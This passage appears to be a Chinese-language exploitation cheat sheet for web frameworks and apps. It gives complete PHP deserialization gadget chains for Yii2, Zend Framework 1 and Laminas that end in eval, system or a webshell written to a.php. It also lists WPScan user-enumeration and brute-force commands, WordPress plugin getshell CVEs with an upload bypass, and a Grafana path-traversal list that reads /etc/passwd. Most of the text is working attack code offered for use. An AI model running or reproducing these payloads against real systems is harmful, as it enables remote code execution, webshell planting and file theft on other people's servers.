$this->writeCallback=[$a,'run'];
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
2.0.38
反序列化
a.
Codeception\Extension\RunProcess::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()
b.
Swift_KeyCache_DiskKeyCache -> phpDocumentor\Reflection\DocBlock\Tags\See::__toString()-> Faker\Generator::__call() -> yii\rest\IndexAction::run()
2.0.42
反序列化
a.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
namespace Codeception\Extension{
use Prophecy\Prophecy\ObjectProphecy;
class RunProcess{
private $processes = [];
public function __construct(){
$a = new ObjectProphecy('1');
$this->processes[]=new ObjectProphecy($a);
}
}
echo urlencode(serialize(new RunProcess()));
}
namespace Prophecy\Prophecy{
use Prophecy\Doubler\LazyDouble;
class ObjectProphecy{
private $lazyDouble;
private $revealer;
public function __construct($a){
$this->revealer=$a;//一个调用自己的对象
$this->lazyDouble=new lazyDouble();
}
}
}
namespace Prophecy\Doubler{
use Prophecy\Doubler\Doubler;
class LazyDouble{
private $doubler;
private $class;
private $interfaces;
private $arguments;
private $double=null;
public function __construct(){
$this->doubler = new Doubler();
$this->arguments=array('x'=>'x');
$this->class=new \ReflectionClass('Exception');
$this->interfaces[]=new \ReflectionClass('Exception');
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default){
$this->default = $default;
}
}
}
namespace Prophecy\Doubler\Generator\Node{
class ClassNode{}
}
namespace Prophecy\Doubler{
use Faker\DefaultGenerator;
use Prophecy\Doubler\Generator\ClassCreator;
use Prophecy\Doubler\Generator\Node\ClassNode;
class Doubler{
private $namer;
private $mirror;
private $patches;
private $creator;
public function __construct(){
$name='x';
$node=new ClassNode();
$this->namer=new DefaultGenerator($name);
$this->mirror=new DefaultGenerator($node);
$this->patches=array(new DefaultGenerator(false));
$this->creator=new ClassCreator();
}
}
}
namespace Prophecy\Doubler\Generator{
use Faker\DefaultGenerator;
class ClassCreator{
private $generator;
public function __construct(){
$this->generator=new DefaultGenerator('eval($_POST["cmd"]);');
}
}
}b.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
namespace Codeception\Extension{
use Faker\UniqueGenerator;
class RunProcess{
private $processes = [];
public function __construct(){
$this->processes[]=new UniqueGenerator();
}
}
echo urlencode(serialize(new RunProcess()));
}
namespace Faker{
use Symfony\Component\String\LazyString;
class UniqueGenerator{
protected $generator;
protected $maxRetries;
public function __construct(){
$a = new LazyString();
$this->generator = new DefaultGenerator($a);
$this->maxRetries = 2;
}
}
class DefaultGenerator{
protected $default;
public function __construct($default = null){
$this->default = $default;
}
}
}
namespace Symfony\Component\String{
class LazyString{
private $value;
public function __construct(){
include("closure/autoload.php");
$a = function(){phpinfo();};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->value=$b;
}
}
}
Joomla!
3.x
<3.4.6
反序列化(+1.5.x/2.x)
Wordpress
扫描器 WPScan
扫描站点:wpscan --url http://xxxx
扫描主题:wpscan --url http://xxxx --enumerate t
扫描主题存在漏洞:wpscan --url http://xxxx --enumerate vt
扫描安装插件:wpscan --url http://xxxx --enumerate p
扫描安装插件漏洞:wpscan --url http://xxxx --enumerate vp
枚举用户:wpscan --url http://xxxx --enumerate u
暴力破解:
wpscan --url http://xxxx --wordlist 密码字典 --username 用户名或者密码字典
wpscan --url xxxx -P /root/Desktop/top10000.txt -U admin
插件
sp-client-document-manager
CVE-2021-24347 Getshell
直接上传,后缀名大小写绕过,上传后路径为wp-content/uploads/sp-client-document-manager/[user_id]/[file_name]
,admin的userid为1
moodle
https://github.com/HoangKien1020/Moodle_RCE
User Meta
CVE-2022-0779
simple-link-directory
CVE-2022-0760
https://wpscan.com/vulnerability/1c83ed73-ef02-45c0-a9ab-68a3468d2210
mail-masta
CVE-2016-10956 本地文件读取
responsive-vector-maps
任意文件读,结合 CVE-2024-2961 LFI to RCE
Zend
zend framework 1
反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
class Zend_Mail
{
}
class Zend_Log
{
protected $_writers;
function __construct()
{
$this->_writers = [new Zend_Log_Writer_Mail()];
}
}
class Zend_Log_Writer_Mail
{
protected $_eventsToMail;
protected $_mail;
protected $_layoutEventsToMail;
protected $_layout;
function __construct()
{
$this->_mail = new Zend_Mail();
$this->_eventsToMail = [1];
$this->_layoutEventsToMail = "";
$this->_layout = new Zend_Config_Writer_Yaml();
}
}
class Zend_CodeGenerator_Php_File
{
protected $_filename;
protected $_body;
function __construct()
{
$this->_filename = "a.php";
$this->_body = '@eval(base64_decode($_POST[1]));';
}
}
class Zend_Config
{
protected $_data;
protected $_loadedSection;
protected $_extends;
function __construct()
{
$this->_loadedSection = "Mrkaixin";
$this->_data = [];
$this->_extends = "Mrkaixin";
}
}
class Zend_Config_Writer_Yaml
{
protected $events;
protected $_config;
protected $_yamlEncoder;
function __construct()
{
$this->events = "Mrkaixin";
$this->_config = new Zend_Config();
$this->_yamlEncoder = [new Zend_CodeGenerator_Php_File(), 'write'];
}
}
echo base64_encode(serialize(new Zend_Log()));
Laminas
入口
action: http://your-ip/public/index.php/application[/:action]
zend framework 4
反序列化+RCE
a.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
namespace Zend\View\Renderer;
use Zend\Config\Config;
class PhpRenderer
{
function __construct()
{
$this->__helpers = new Config();
}
}
namespace Zend\Config;
class Config {
protected $data = [];
function __construct()
{
$this->data = ['shutdown'=>"phpinfo"];
}
}
namespace Zend\Log;
use Zend\View\Renderer\PhpRenderer;
class Logger
{
protected $writers;
function __construct()
{
$this->writers = [new PhpRenderer()];
}
}
echo base64_encode(serialize(new Logger()));b.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
namespace Laminas\View\Resolver{
class TemplateMapResolver{
protected $map = ["setBody"=>"system"];
}
}
namespace Laminas\View\Renderer{
class PhpRenderer{
private $__helpers;
function __construct(){
$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
}
}
}
namespace Laminas\Log\Writer{
abstract class AbstractWriter{}
class Mail extends AbstractWriter{
protected $eventsToMail = ["ls"];
protected $subjectPrependText = null;
protected $mail;
function __construct(){
$this->mail = new \Laminas\View\Renderer\PhpRenderer();
}
}
}
namespace Laminas\Log{
class Logger{
protected $writers;
function __construct(){
$this->writers = [new \Laminas\Log\Writer\Mail()];
}
}
}
namespace{
$a = new \Laminas\Log\Logger();
echo base64_encode(serialize($a));
}
Grafana
重要文件
1 | /usr/sbin/grafana-server |
2.6.0
任意文件读取
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd